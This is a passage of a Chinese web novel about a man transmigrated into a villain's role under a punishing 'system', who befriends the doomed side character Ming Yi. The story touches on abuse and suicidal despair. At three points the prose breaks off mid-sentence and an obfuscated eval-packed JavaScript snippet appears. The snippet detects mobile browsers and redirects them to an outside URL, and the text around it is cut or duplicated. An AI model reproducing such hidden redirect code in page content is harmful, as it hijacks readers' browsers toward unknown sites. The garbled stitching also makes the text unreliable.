谢云歇见明夷一副不搭理他的冷漠态度,也不急着证明自己,拿起医药箱里的纱布,一边给自己包扎,一边自顾自地说:“你确实成功杀掉了之前的谢云歇,一刀切腹,绝地反击,做得很好,可惜——中间出了点意外。” 听到“一刀切腹”四个字,明夷的目光终于发生了些许的波动。 不是梦? 谢云歇说到这里,却忽然停下了话头,因为他又被系统电了。 系统已经崩溃了:【宿主,你跟他说这些干什么!你崩人设了知道吗?说好要老实扮演反派的呢!而且你怎么能对恶毒炮灰说这些,万一他觉醒意识,让世界线崩得更严重怎么办?!】 谢云歇轻嘶了一口气,好半晌才缓过来,在脑海里回话,开口就是重磅炸弹:“你还没看明白吗?不跟燕明夷解释清楚,我迟早也会被他杀死。” 系统瞬间噎住。 谢云歇:“很明显,燕明夷已经失控了,他执着于杀死‘谢云歇’,一次失手,他必定还会杀下一次。” “系统,你敢赌吗,赌我在走完沉海剧情前,不会死在他手里?” 谢云歇淡淡道:“我要真的不幸身亡,你确定,你还能找到第二个可以完美扮演反派的人?” 系统暂时没回答,它的CPU在高速运转,几乎要转得冒烟。 谢云歇适时插话:“不如跟燕明夷谈谈,最好能达成合作关系,我演我的反派,他演他的恶毒炮灰,和平安全地度过这一个月。” “反正燕明夷戏份不多,沉海后就杀青了,他知道一点真相又怎么样,管住他的嘴,不让他往外说就行了,难道真的要因为他,毁掉整个世界线吗?” “系统你说,是不是这个道理?” 系统要被谢云歇绕进去了,好像是有点道理,恶毒炮灰也就只活一个月,可反派的戏份却贯穿大半本书,如果宿主运气差一点,也被明夷杀了……这个世界才是真的没救了。 系统正在进行硬盘风暴时,明夷忽然哑声开口:“什么……意外?” 谢云歇不等系统反应,嘴快地将真相和盘托出:“意外就是我穿过来了,现在我必须顶替原来的那个谢云歇,确保剧情顺利进行。” “……”明夷陷入了沉默。 理智上,明夷是不愿意相信这种疯言疯语的,可明夷想起了自己的那个梦。 假如他的世界真是一本书,那么穿越这种事……也不是不可能。 明夷烧得昏昏沉沉,几乎保持不了思路的完全清晰,正当他思考得头疼之际,对面的“谢云歇”忽然朝着他掀起衬衫下摆,露出块块分明的腹肌,然后一脸真诚的对他说:“我真没骗你,不信你看,这里是不是没有一点刀口?” 说着还在腹肌上面用力拍了拍:“如假包换的无损真皮!” 明夷:“……” 系统终于受不了地哀嚎一声,为宿主彻底崩塌的人设痛苦默哀。 到了这步,系统也不想着阻止了,毕竟宿主说的那些话确实有道理,燕明夷只是个即将下线的小角色,知道一点真相不要紧,但如果燕明夷继续失控下去,就可能会对世界线造成不可逆的损伤,反而得不偿失。 不如跟燕明夷合作,正好系统也能观察一下这个恶毒炮灰,看看对方究竟为什么突然脱离剧情失控。 明夷目光下移,落在谢云歇块块分明的腹肌上,嘴角动了动,复杂地抿紧了:“所以呢?为什么……你要跟我说这些?” 谢云歇把衣摆放下去,严肃道:“我希望你能配合我表演,咱们合作共赢。” 明夷努力转动越发混沌的头脑,试图捋清其中的关窍。 意思是,原来的那个谢云歇死了,新来的“谢云歇”接替了原来那个谢云歇的位置,目的是继续完成所谓的“剧情”。 而为什么找他合作呢?因为他想杀谢云歇,如果不跟他谈好合作,他就会继续尝试杀死谢云歇。 原来如此。 明夷不由阴暗地想,如果……他把这个新的“谢云歇”杀死,那么,还会有别的“谢云歇”穿越过来吗? 或许,只要他一直杀下去,让接下来的剧情彻底崩塌,他就能—— 这个念头只在脑海里一闪而逝,便无影无踪,明夷疲惫地阖上眼。 就算世界毁灭,他想要的,也再也得不到了。 所以明夷说:“好啊,我考虑一下。” 谢云歇像是松了口气,贴心地为他掖了掖被子:“这件事等你病好了再细说,你先休息吧。” 看上去短时间内,他不会再挨打了,明夷稍稍放松心弦,黑暗瞬间袭来,吞没了所有的意识。 这一觉睡得也不安稳,混乱的梦境里闪过无数画面:谢云歇阴鸷的表情,扬起的拳头,闪烁着冰冷银光的刀锋刮破虚空,没入皮肉,带起一串飞溅的血液…… 刺穿皮肉的触感是那样清醒,明夷猛然惊醒过来,蜷缩的手指紧攥着被角,仍在微微颤抖。 胃里翻江倒海,睁眼看到趴在床边的谢云歇时,反胃的感觉瞬间汹涌袭来,明夷头脑空白,条件反射地抬起手,握拳狠狠击中谢云歇的侧脸。 “唔?”谢云歇被打醒了,捂住脸一脸震惊地看了过来,对上明夷写满恐惧与厌恶的眼神,他立即反应了过来:“兄弟,是我啊,我是冒牌货!” 明夷额头冒出细细的冷汗,喘息着盯着他看了好一会儿,才缓缓放下抬起的手。 “抱歉。” “没关系,多大点事。”谢云歇揉揉脸,知道明夷这是应激了,也怪他自己,长得跟反派一模一样,明夷冷不丁看到他的脸,不被吓一跳才怪。 谢云歇:“你有力气坐起来吗,喝点粥?” 明夷勉强撑着床坐起来,仍有些轻微眩晕,他接过谢云歇递来的粥,触感是温热的。 明夷垂下眼睫,用勺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢云歇避开明夷的目光,硬着头皮解释道:“根据剧情,昨晚那个人渣已经把你……所以今天他会借这件事继续羞辱你。” 明夷看着他红透的耳根,一时间有些哑然,究竟是怎样的信念感,才能支撑着谢云歇把这些台词念完? 谢云歇秒懂他目光里包含的复杂内容,沉痛道:“都是系统的任务罢了!” 明夷:“不做任务会怎么样?” 谢云歇沉默须臾:“不达标,它就会电我。” 一级二级的电击尚且能忍耐,三级就不行了。 并且,谢云歇对系统的了解程度有限,目前暂时没有跟系统彻底闹翻的想法。 明夷目光微动,不完成任务就会被电? ……跟他一样,都是被操纵的可怜人。 同病相怜的感慨令明夷态度稍缓,表示理解:“你继续演吧,我不在乎。” 谢云歇用那双灰蓝色的眼睛真诚地望着他,语气也非常真诚:“谢谢你,你真是个好人。” 下一秒语气一变,继续上演掐腰红眼文学。 “燕小少爷不是很傲气吗?真想让所有人都来看看你这幅样子。” “你叫啊,叫得再大声也不会有人听见,我说过了,没有人会来救你!” 说到这里,谢云歇忍不住吐槽道:“这人法盲吗,别人可能不会来,但110绝对会来,兄弟你千万别听,这妥妥是PUA啊!” “……”明夷无力地闭上眼。 你演就演吧,为什么还配弹幕啊。 听到这里,明夷终于确定,虽然这个“谢云歇”跟之前那个长得很像,但他们确实有最本质的区别。 如果正牌谢云歇是头疯狼,那么这个冒牌货……顶多是只撒欢的哈士奇。 5. 彻底摆烂 谢云歇之所以跟明夷东拉西扯地说这么多,其实也是因为想缓解一下自己的尴尬。 出于严苛的家风,谢云歇虽然身为Alpha,却不像其他Alpha一样,喜欢在外面跟omega瞎搞。 谢云歇守身如玉二十多年,端的就是一个洁身自好。 这种情况下,谢云歇却要被系统逼着,说出那些不着边际的荤话,未免有点太过挑战他的羞耻心。 再说,明夷本就是应激状态,听到那些垃圾话,谢云歇怕明夷感到被冒犯,心里更不舒服。 谢云歇既担心这个,又担心那个,最后出来的效果就像是在演单口相声,滑稽得很。 好在很有效果,明夷听完那些贬低人格的荤话,果然没有露出不适神色,而是唇角下撇,眼神虚浮,一副欲言又止的复杂神色。 谢云歇对明夷放完最后一句垃圾话,终于得以撑坐起身,用手扇了扇脸,感觉颇为燥热:“我演得如何?” 明夷想了想:“如果放到网上,会被放到鬼畜区的水平吧。” “……”谢云歇讪讪道:“那我下次再接再厉?” 这话明夷不知道该怎么接,便兀自闭上眼,像是没了继续对话的兴致。 谢云歇就不打扰他了,跟明夷说了一声,便带上碗勺,轻手轻脚地出了门。 房间里一下子安静了下来,谢云歇走后,明夷睁开眼,一动不动地盯着天花板。 从车祸后得知这个世界的真相开始,到冒牌谢云歇的到来,无数画面闪过明夷的脑海。 正牌谢云歇死了,名为“系统”的存在立即送来了新的冒牌货来顶替,可见这个世界并非完全封闭,仍有其他存在正暗暗关注着这里,并管控着“剧情”的正确运行。 明夷终于明白,原来他的失败不仅是剧情命运使然,更是系统管控下的必然。 身为人类的他,怎么可能斗得过这种存在? 果然,还是一死了之来得干脆利落。 明夷挣扎过,抗争过,然而事实证明,在绝对的力量面前,他的一切抵抗都是枉然。 从这一刻开始,明夷彻底摆烂了。 小的时候,明夷为了抢回自己的食物,敢跟比他大五岁的孩子打架,哪怕头被打出血,也一定要从对方身上咬下一块肉才肯罢休。 那时的敌人只是人类,是可以战胜的。 而明夷现在的敌人,却是某种虚无缥缈的存在。 明夷的生命只剩一个月的时间,他不认为自己能在短短一个月内,击败那个存在。 打不过,等死吧。 明夷从天亮躺到天黑,求生欲大幅降低,连佣人送进来的午饭都没吃。 晚饭是谢云歇亲自送来的,他瞥了眼没有动过的午餐,轻叹一声,在床边坐下:“没胃口,还是闹绝食?” 明夷垂着眼睫,很丧气地开口道:“活着有什么意思。” 谢云歇反驳道:“怎么没意思,活久了什么都能见到,你看我这不是穿越了,就是因为我活得够久啊。” 明夷淡淡一哂:“穿越又如何,受系统控制,你也不过是傀儡罢了。” “这话说得好难听,”谢云歇搅拌了一下碗里的海鲜粥,氤氲的热气蒸腾而上,模糊了他深邃的眉眼:“我做系统任务,是为了复活,为自己博取一个新的转机。” 谢云歇长腿抻开,聊闲话般从容道:“总不能等死吧,我还没找肇事司机报仇呢。” “报仇?”明夷面无表情道:“他是谁你都不知道,怎么报仇?” “所以才要活得够久啊。”谢云歇将手里的粥递向明夷,态度随意道:“就这么不明不白地死了,怎么等得到转机?” 明夷没接,喃喃道:“我还能等得到转机吗?” 谢云歇鼓励他:“怎么不能?咱们的目标就是活过一天是一天,烂命一条就是干!” 明夷扯起唇角,露出一个不带情绪的笑,他靠在床头,整个人隐没在昏暗的灯光里,散发着颓丧的阴郁,像一朵枯萎腐烂的花。 谢云歇也不多劝,从善如流地把粥放到一边,转而从兜里掏出一卷胶布,跟普通胶带不同,是一种艳丽的红色,表面光滑且富有光泽,莫名给人某种微妙的情/色.感。 视线受到这抹红色的刺激,明夷涣散的目光重新聚焦,缓缓落在了这卷胶布上。 谢云歇有些难为情地解释道:“是这样的,晚上有个剧情……” 明夷懂了,又到了谢云歇走剧情的时间。 他的心情很平静,折辱也好,亵玩也罢,明夷已经没有心力去在乎了。 看在谢云歇也是被控制的份上,明夷没有为难谢云歇的意思,打断他:“要我怎么做?” 谢云歇轻咳一声,有点紧张地看着他:“你伸一下手。” 明夷依言伸出双手。 谢云歇“撕拉”一声扯开胶布,看向明夷,明夷默不作声地看着他的动作,没有反抗,一副束手就擒的摆烂模样,好像这时候无论怎么对待他,他都能全盘接受似的。 谢云歇扬了一下眉,却没有将胶布捆上明夷的双腕,而是伸出一根食指,示意明夷学他。 明夷茫然地伸出食指,下一秒,谢云歇的指尖就跟他的轻碰在了一起。 谢云歇拿起胶布快速缠了几圈,仅仅把他们的手指粘在了一起。 明夷:“?” 明夷稀里糊涂地盯着艳红的胶布看,显然被谢云歇的操作弄懵了。 谢云歇大功告成,保持着奇怪的姿势,满意道:“胶布,身体接触,两个元素,这不就全部满足了?” 明夷:“……” “这个剧情要走一个小时,要不你先睡一觉?”谢云歇还怪贴心的,给明夷提供了一个建议,自己则摸出手机,别扭地用剩下九根手指打起了游戏。 “……” 明夷终于忍不住开口:“你是来搞笑的吗?” 谢云歇头也不抬:“我在认真地做任务。” 明夷盯着他弯曲的食指:“你把任务做成这样,不会受罚吗?” 谢云歇从容道:“不知道,试试。” 搞骚操作的后果,就是来自系统的一级电击惩罚。 前一秒谢云歇还悠哉悠哉地打着游戏,后一秒谢云歇就被电得一头栽倒在了明夷的床上。 系统愤愤道:【卡bug是没有用的,只要没有100%完成剧情任务,宿主依然会受到惩罚!】 这次的小剧情并不是非常重要,因此系统只给了3分钟的一级电击作为惩罚。 谢云歇倒吸一口凉气,脸色变得煞白,闭上眼咬肌紧绷,强行抵抗着这股电流。 明夷一看就知道谢云歇是被电了,果然,虽然说得那么轻松,其实根本没有漏洞可以钻。 等谢云歇缓过来后,明夷抿了抿唇,对他说:“其实你不用这样。” 谢云歇汗涔涔地看向他,丢过去一个疑问的眼神。 “你可以用胶带捆住我的手,也可以用胶带封住我的嘴。”明夷抬起眼,直视谢云歇那双眼睛:“不用考虑我的感受,我不在乎。” 谢云歇擦了把额头上的汗,轻笑道:“可我在乎。” “贞洁是一个Alpha最好的嫁妆,我怎么能为了做任务,丢掉自己最珍贵的贞/操!”谢云歇信誓旦旦地摇头:“那样对我未来的omega老婆太不公平了!” 明夷被他一口一个的阿尔法和欧米伽说愣了,注意力被转移:“Alpha……外星人的意思吗?” 这个冒牌货刚来的时候,也提到过自己是什么阿尔法,明夷当时不解其意,以为谢云歇彻底疯了,现在却有点压不住好奇,想弄清冒牌货的真实身份。 谢云歇眯起眼:“你真的一点都没听说过Alpha?” “我只听过一款叫omega的手表,”明夷想了想,补充了一句:“以及叫Alpha狗的围棋机器人。” 谢云歇:“……” 谢云歇只好向明夷解释:“我那边的社会有三种性别:Alpha,beta,omega,Alpha和omega都有信息素,omega有生殖腔,无论男女都可以怀孕,beta没有信息素——就跟你们世界里的所有人一样。” 好奇怪的世界。 对于异世界,明夷不免生出一丝好奇心:“Alpha只能跟omega结婚吗?” 谢云歇:“大部分都跟omega结婚,但也有Alpha会跟beta结婚,不过beta没有信息素,无法在Alpha易感期的时候进行安抚,所以很少有Alpha愿意这么做。” 明夷:“易感期又是什么,容易感冒的时期?” 提起这个,谢云歇有点难以启齿:“就是……Alpha会有的一种生理周期,类似于……发/情期。” 明夷“啊”了一声,就不说话了,像是陷入了沉思。 谢云歇坐立难安,催促明夷:“你怎么不说话,快说点什么啊。” “我只是在想,”明夷沉吟道:“这里没有omega,你该怎么度过……嗯……易感期?” 闻言,谢云歇像是被棒子当头敲下,忽然愣住。 他突然被系统拉过来,都没来得及思考这个问题! 放在以前,谢云歇完全可以用抑制剂凑合过去,可问题是,这个世界根本没有抑制剂啊! 谢云歇抱着最后一丝希望,询问明夷:“你们这里有抑制剂吗?” 明夷怜悯地摇头:“没听说过。” 瞬间,谢云歇面如死灰。 正常情况下,Alpha的易感期在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090637|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年一到两次左右,可谢云歇的情况不正常,他患有信息素紊乱症,易感期到来的时间非常随机,并且会受环境因素和心理因素的外界干扰。 也就是说,谢云歇无法预料下次的易感期会在何时到来。 明夷问:“没有omega或者抑制剂,你会死吗?” 谢云歇痛苦道:“死倒是不会……硬撑也能熬过去。” 明夷:“那你……加油?” 话音落下,房间陷入长久的死寂。 最终,谢云歇选择暂且绕过这个问题,回到一开始的话题。 “总之,我做这一切也是为了我未来的omega老婆,你不用多想,”谢云歇无奈道:“再说,我又不是真的人渣,总不能为了做任务,就去践踏你的人格吧?这是最基本的尊重。” 明夷没说话,但对这个冒牌货,明夷有了一些改观。 是个有人品的正常人。 但也仅限于此了。 谢云歇钻得了一时漏洞,却不可能次次都钻漏洞。 到了避无可避的关键剧情,谢云歇还会继续舍己为人下去吗? 再过一个月,就到了明夷被沉海的必死剧情点,就算谢云歇不想杀他,系统也一定会逼着他杀了自己。 对于人性,明夷没有半分期待。 时间一到,谢云歇就解开了胶布,照例对明夷说了几句糟糕的台词,然后红着耳根,故作镇定地问明夷,可不可以加明夷的联系方式。 明夷的手机已经回到明夷自己的手里,只是明夷很少打开看过。 从柜子里拿出手机,发现手机已经没有电了,明夷充上电开机,发现消息栏依旧是空的,并且在关机期间,没有任何一个未接电话。 明夷早有预料,因此也不觉得失望,他加了谢云歇的微信,看着谢云歇不熟练地点开软件,通过他的好友验证。 明夷这时还不明白谢云歇为什么要加自己好友,直到谢云歇离开的半小时后,明夷收到了谢云歇转发给他的几篇科普文章: 《人类极限:一个人不吃不喝,最长可以坚持几天》、《饿死的人会经历什么过程》、《被饿死的真实感受》…… 明夷:“……” 谢云歇紧接着发来消息:[厨房里还热着粥,饿了就去吃,不用给人渣省钱。] 明夷冷淡地回了一个“我不饿”,无动于衷地关灯躺下。 遗憾的是,明夷的心已经死了,可他的胃没有。 随着时间流逝,饥饿感逐渐变得强烈,明夷辗转反侧半晌,始终难以入睡。 忽然,明夷猛地坐起身。 都快要死了,他为什么还要自己折磨自己? 明夷掀开被子下床,摸黑去了厨房。 整个别墅静悄悄的,老管家和佣人不知所踪,明夷的动作却依旧格外小心,带着很重的偷感。 海鲜粥的温度恰到好处,明夷盛起一碗,狼吞虎咽地往嘴里倒,正吃得满足时,头顶的灯忽然亮了。 谢云歇拿着水杯站在厨房门口,愕然地看着他。 明夷:“……” 他咽下嘴里的粥,神色堪称镇定。 脚趾却缓缓动工,即将抠出两室一厅。 谢云歇走进来,一边接水一边纳闷地问:“你怎么不开灯?” 明夷背过身,声音低不可闻:“为了省电。” 谢云歇没话找话地夸奖他:“哈哈,那你可真会省电啊。” “……” 明夷背对着谢云歇,轻嘶了一口气,接着快速扒完碗底的最后一点粥,风一般离开了厨房。 这是不好意思了? 谢云歇想起刚刚灯一开,明夷震惊睁大的眼睛,莫名觉得挺可爱。 像只偷吃被抓的小仓鼠,让人忍不住想捏几下鼓起来的脸。 一走神,杯子里的水不知不觉地满溢了出来,谢云歇急忙停止接水,懊恼地擦手。 - 既然已经被撞见偷吃,明夷也索性破罐子破摔了,到了饭点,不用谢云歇喊,便准时出现在餐桌上。 对于明夷的心态变化,谢云歇心照不宣,一日三餐都让厨师变着花样做菜。 对此系统表示非常不满:【按照剧情,反派这时候应该虐待燕明夷,可你是怎么做的?你怎么能让他吃得这么好?】 谢云歇无辜道:“我也是为了接下来的剧情着想啊。” 系统不解:【这关剧情什么事?】 谢云歇:“你还没看出来吗?我在跟燕明夷打好关系啊,不打好关系,他接下来怎么肯去那个综艺?” 系统很快反应过来谢云歇话里的意思,谢云歇说的没错,接下来明夷的确要走一个比较重要的剧情。 ——在原文中,这是恶毒炮灰燕明夷最后一次活着出场。 6. 攻略 那是一档生活综艺,名叫《我们在路上》,在新一期节目中,燕安会作为飞行嘉宾出场,而为了提高话题度,节目组还特意邀请了黑料满满的明夷。 在原剧情中,明夷作为恶毒炮灰,不仅会跟主角燕安爆发激烈矛盾,还会暗中算计燕安,试图让燕安在镜头前出丑。 总之,明夷会疯狂地刷存在感,可惜,主角就是主角,怎么可能被这点小手段打压?在一连串的憋屈事件后,燕安被逼到极致,终于忍无可忍地拿出证据反击。 明夷惨遭打脸,所有观众都认清了他的真实面目,明夷的名声彻底败坏,紧接着,愤怒的粉丝扒出了明夷还能上节目的原因。 ——明夷在短时间内跟谢家联姻,显然是用身体交换了资源! 之后,明夷意外在镜头下暴露脖颈上的项圈,以及身上尚未散去的淤青,更加证实了观众的猜测。 于是无人在意明夷被家暴的事实,观众只觉大快人心,全都在骂明夷活该,自作自受,什么锅配什么盖。 自此,这个剧情完成了一箭双雕,既让恶毒炮灰彻底下线,增加了主角视角的爽度,还间接影响到了反派的名声,为之后击败反派埋下了伏笔。 明夷的最后一次出场,为烘托主角的真善美贡献了最后的光与热,再次在正文篇幅里出现时,明夷已经是死亡状态。 燕安很久没有见到明夷,便问了主角攻一句,结果主角攻隐晦地告诉他,明夷可能已经死了,让燕安以后离谢云歇远一点,这个人不是好人。 生不见人,死不见尸。 除了谢云歇,无人知道,明夷孤身一人,永远沉没于冰冷的大海当中。 …… 回顾了一遍剧情,系统也有了危机感。 【这个剧情很重要,明夷一定要出场!】 没有恶毒炮灰当对照组,主角的爽度瞬间大幅降低好吧! 系统绝不允许这种事发生,因此它急忙催促谢云歇:【宿主,很快就要到剧情点了,你快去跟明夷说这件事,一定要让他参加那个综艺。】 “知道了知道了。”谢云歇答应得敷衍,但到了晚上,谢云歇还是照着系统说的,去跟明夷说了这件事。 不出谢云歇所料,明夷的反应很激烈,脸上难得露出不加掩饰的厌恶:“我不去!” 还真被宿主料中了!明夷居然真的拒绝上综艺了! 系统既震惊又不解,因为按照原文剧情,明夷听到有机会翻身,可是毫不犹豫地就答应了反派的要求,只为交换一个参加综艺的名额……怎么现在明夷不按剧情走了呢? 但仔细想想,原文里也没有明夷刀掉反派的剧情,所以……果然这个恶毒炮灰已经崩坏了吗? 谢云歇没有理会沉默的系统,耐心询问明夷:“能问问你不去的原因吗?” 明夷冷笑一声:“我为什么要去?每次出丑的都是我,去了也是给燕安当陪衬,我可没有受虐的癖好。” 得益于车祸后的那个梦,明夷对接下来的剧情走向一清二楚,既然已经知道上综艺就是当对照组,那明夷怎么可能还会主动送上门找虐? 谢云歇得到回答,在脑海里无奈地对系统说:“你看,我就说难吧。” 系统见明夷一副坚决不配合的冷酷模样,急得团团转:【宿主,你快给他做做思想工作啊!】 谢云歇:“我尽量吧,你也先把那些小任务停了,方便我做他思想工作。” 系统震惊于他的提议:【??】 谢云歇毫不客气道:“是大剧情重要还是小剧情重要?系统,你不会这么拎不清吧?” “你也看到了,他现在精神状态非常差,把他逼急了,他要是一头撞死在墙上,或者把我刀了,你怎么办?” 系统:【……】 好像有、有点道理? 所谓光脚的不怕穿鞋的,明夷一发疯,连系统都要发怵。 不得已,系统只能咬牙做出些许退让:在谢云歇成功说服明夷之前,谢云歇可以不走那些小剧情。 谢云歇答应得认真,目光却微深。 看来系统拥有的权限,比他想的还要高一点。 是个好消息。 谢云歇是个言而有信的宿主,答应系统会好好做明夷的思想工作后,他便开始频繁去明夷那里刷存在感。 可惜收效不佳,明夷油盐不进,不管谢云歇怎么苦口婆心地劝说,他都不为所动。 “你不去这个综艺,我们也很难办啊。” “你就去吧,不去剧情怎么发展得起来,世界要大乱套的。” “唉,系统为了这件事都快愁死了,你可怜可怜它吧。” 明夷躺在沙发上,手边放着一包薯片,任凭谢云歇坐在旁边聒噪,漫不经心地拿起薯片,脑海里却在快速思考。 谢云歇的这些话里,其实透露了不少信息。 第一,系统无法直接控制明夷。否则系统就不是派谢云歇来做明夷的思想工作,而是直接用电击威胁明夷上综艺。 第二,剧情的完整度对系统十分重要,它现在特别着急。 明夷忍不住往深了想。 系统究竟是什么东西?它这么在意剧情完整度,真的只是想让这个世界平稳运行下去吗? 剧情完整了,究竟能带给系统什么好处? 更令明夷在意的,还有另一件事—— 自从开始劝他上综艺后,谢云歇就没有继续走剧情了,并且,似乎也没有再受到电击惩罚。 这说明什么? 说明所谓的剧情其实是可以略过的,系统有权决定要不要走剧情。 系统的权限比明夷想象的要大。 明夷眨了眨眼,目光微动,若有所思地落在谢云歇身上。 稍稍一想,明夷大致猜到了谢云歇对系统用了什么话术。 不出意外,应该是用大剧情的成功进行,换小剧情的豁免权。 谢云歇为什么要帮他避开小剧情?谢云歇的动机又是什么? 明明可以老实听系统的话,乖乖做任务,却偏偏多此一举地帮他…… 明夷捏住薯片的手一顿,在谢云歇滔滔不绝的劝说声中,终于不耐烦似的开口:“那你说说,参加那个综艺,我能有什么好处?” 谢云歇缓了口气:“别的不提,就说你憋屈了这么久,难道不想狠狠骂一顿燕安,出一口恶气吗?” 明夷默了一瞬,扯起唇角:“骂了,然后呢?被更多人讨厌吗?” “我要更实用的好处。” 谢云歇摆出洗耳恭听的姿态:“你说,只要系统能做到的,都能满足你。” 明夷微微掀起半阖的眼:“那,我要跟你离婚。” 他紧紧盯着谢云歇,只见谢云歇停顿了一下,仿佛在倾听什么声音,然后摇头道:“不行,不能提违背剧情的要求。” 明夷掀起的眼皮又耷拉了回去:“那就不用再谈了。” 系统已经在崩溃的边缘,谢云歇的态度却还是温和的:“不违反剧情的都是可以的,你再想想,真的没别的愿望吗?” 明夷看了谢云歇一眼,不感兴趣地闭上眼,冷冷道:“我还想死,你现在把我杀了吧。” 系统:【……】 系统在明夷这边屡屡碰壁,只好在谢云歇脑海里疯狂刷屏。 谢云歇被系统吵得脑仁疼,按着眉心道:“行了,交给我吧,我会说服他上综艺的。” 系统生出一丝期待:【真的吗?】 “真的。” 傍晚时分,谢云歇准时刷新在明夷的房间里,但这次他没有多做无用功,而是拿了两个游戏手柄过来,邀请明夷一起打游戏。 明夷看着他递过来的手柄:“你又想玩什么花样?” 谢云歇坦坦荡荡:“没别的意思,就是无聊,想跟你一起打个游戏。” 明夷狐疑地盯着谢云歇看了一会儿,还是接过了手柄,想看看谢云歇究竟想做什么。 大屏幕打开,他们玩的是一个双人杀怪游戏。 谢云歇坐在沙发的另一侧,随意舒展着长腿,姿态闲适地问明夷:“以前有打过游戏吗?” 明夷说:“打过,但没打过这种。” 谢云歇笑道:“那在打游戏的方面,我算是你的前辈了。” 谢云歇在“前辈”两个字上加重了读音,明夷听着,心中莫名一动,生出某种微妙的预感。 他转过脸瞥了谢云歇一眼。 谢云歇却没看他,而是自顾自地盯着屏幕,略微遗憾道:“这种游戏我小时候就玩过,我记得赢了很多关,可惜玩到最后一关的时候,遇到了一个没见过的怪,卡关了。” “哦,是吗?”明夷不动声色道:“现在玩的这个游戏,也跟你那个一样坑?” “那就要看我们的默契了。”谢云歇笑道:“我还记得前面几关的攻略,如果你跟得上我的节奏,杀到最后没问题。” “说大话,”明夷垂着眼睫拿起手柄,不客气地说:“没有通关的都是loser。” 谢云歇意味深长道:“有些人连玩都不敢玩,岂不更是loser?” “……” 明夷抿唇道:“说这么多废话干什么,谁不敢玩?开始吧。” 明夷不太会使用手柄,尝试了好一会儿才逐渐熟悉操作,谢云歇先带着他一路捡装备攒经验值,边捡边教他:“打这个游戏,你不能一上来就跟BOSS面对面硬刚,必须避其锋芒。” “刚开始的时候,你打不过他,最好苟在角落猥琐发育,等你的力量比他强了,再脚踏七彩祥云强势登场,惊艳所有怪……” 明夷:“那要苟很久吧,而且到处都是怪,往哪跑。” 谢云歇:“往地图边缘跑啊,你在地图中心,怪肯定多。” …… 一场游戏打下来,明夷受益匪浅。 “这游戏确实挺有趣。”最终,明夷这么点评道。 谢云歇转过头看明夷:“那你以后还想玩吗?我可以陪你一起。” 明夷思索了一会儿,没有立即给出答复。 他还在消化谢云歇给出的消息。 通过刚刚携手打游戏的经历,明夷已经可以确定,谢云歇是想用暗示的方式,传递一些重要情报给他。 谢云歇受系统监视,做不了太多事,而明夷没跟系统绑定,且同样是觉醒者,可以悄悄行动。 如果两人合作,或许可以破解当前的死局。 要试试吗? 在这个世界,谢云歇的那些经验,真的有可行性吗? 谢云歇见他不语,便故意激他道:“你真的不想狠狠打燕安的脸,撕破燕安那张假面,让燕安在大屏幕上丢脸吗?” 系统激动道:【对!没错!就是这样劝!】 恶毒炮灰,快给我去综艺狠狠搞事啊! 明夷深深地望了谢云歇一眼,面上做出犹豫的神色:“我再想想吧。” 谢云歇再接再厉:“只要你能同意,我们这边一定会尽量满足你的愿望。” - 谢云歇走后,明夷躺在床上,仍在反复复盘着跟谢云歇之间的对话。 虽然不知道谢云歇经历了什么,但对于当前的局面,谢云歇已经给出了提示与解法。 要去那个综艺验证一下吗? 这次,明夷很快做了决定。 他连死都不怕,还怕什么? 烂命一条,不行就死。 明夷又琢磨了一会儿,想起谢云歇反复向他强调了“愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090638|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望”,谢云歇究竟想提示他什么呢? 系统只能满足一个“不违背剧情”的愿望,可问题是,明夷的命运已经被框死在了剧情里。 明夷无法跟谢云歇离婚,也无法避开沉海的必死结局。 明夷的生命只剩下最后一个月,所以,他的愿望,只能在这最后一个月的时限里做文章。 明夷盯着天花板,脑海里快速闪过梦境里的所有信息。 大剧情避不开,小剧情却可以忽略不做…… 正文以燕安的视角为主视角,而在主视角看不到的地方,或许还有其他可以操作的余地。 明夷想,他好像知道该提什么要求了。 - 第二天,谢云歇再次过来做明夷思想工作的时候,明夷总算松口,提出了他的要求。 “从小到大,我都没有做过我真正喜欢的事。”明夷淡淡道:“我之前所做的一切,都是为了追逐燕安的影子。这一次,我想为自己活一次。” 系统忐忑道:【他这是什么意思啊?】 谢云歇在脑海里回他:“不知道,接着听。” 明夷继续道:“所以,我提出的要求是——在我不需要走剧情的时候,我可以自由出门活动。” 系统险些破音:【什么!?】 谢云歇急忙安抚它:“知道你急,你先别急,他只是想出门走走罢了,又不会影响剧情,你怕什么?” 系统痛愤道:【可原文不是这样的啊,原文里明夷回来后,就被大反派关在家里了……】 谢云歇不得不提醒它:“……那原文里也没有‘大反派陪明夷打游戏’的剧情啊。” 系统:【……】好像也是。 “这些都是小剧情,不走也不要紧吧,”谢云歇想了想,给系统提了个可行性方案:“你别急,他出门了又怎样,我给他安排几个烂片让他演,到时候跟燕安的电影一对比,岂不是又能增加主角爽度?” 系统一想,好像……是这个理? 